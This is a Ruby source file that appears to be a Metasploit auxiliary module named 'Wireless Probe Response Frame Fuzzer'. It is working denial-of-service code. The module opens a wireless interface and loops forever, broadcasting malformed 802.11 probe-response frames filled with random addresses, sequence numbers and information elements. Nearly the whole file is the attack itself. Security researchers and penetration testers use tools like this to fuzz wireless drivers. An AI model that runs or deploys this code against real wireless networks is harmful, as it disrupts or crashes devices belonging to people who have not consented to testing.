73 lines
1.6 KiB
Ruby
73 lines
1.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Auxiliary::Dos::Wireless::FuzzProbeResp < Msf::Auxiliary
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include Exploit::Lorcon
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireless Probe Response Frame Fuzzer',
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'Description' => %q{
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This module sends out corrupted probe response frames.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3666 $'
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))
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register_options(
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[
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OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF'])
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], self.class)
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end
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def run
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open_wifi
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print_status("Sending corrupt beacon frames...")
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while (true)
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wifi.write(create_frame())
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end
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end
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def eton(addr)
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addr.split(':').map { |c| c.hex.chr }.join
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end
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def create_frame
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mtu = 2312 # 1514
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ies = rand(1024)
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bssid = Rex::Text.rand_text(6)
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seq = [rand(255)].pack('n')
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frame =
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"\x50" + # type/subtype
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"\x00" + # flags
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"\x00\x00" + # duration
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eton(datastore['ADDR_DST']) + # dst
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bssid + # src
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bssid + # bssid
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seq + # seq
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Rex::Text.rand_text(8) + # timestamp value
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Rex::Text.rand_text(2) + # beacon interval
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Rex::Text.rand_text(2) # capability flags
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1.upto(ies) do |i|
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max = mtu - frame.length
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break if max < 2
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t = rand(0x30)
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l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
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d = Rex::Text.rand_text(l)
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frame += t.chr + l.chr + d
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end
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return frame
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end
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end
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end
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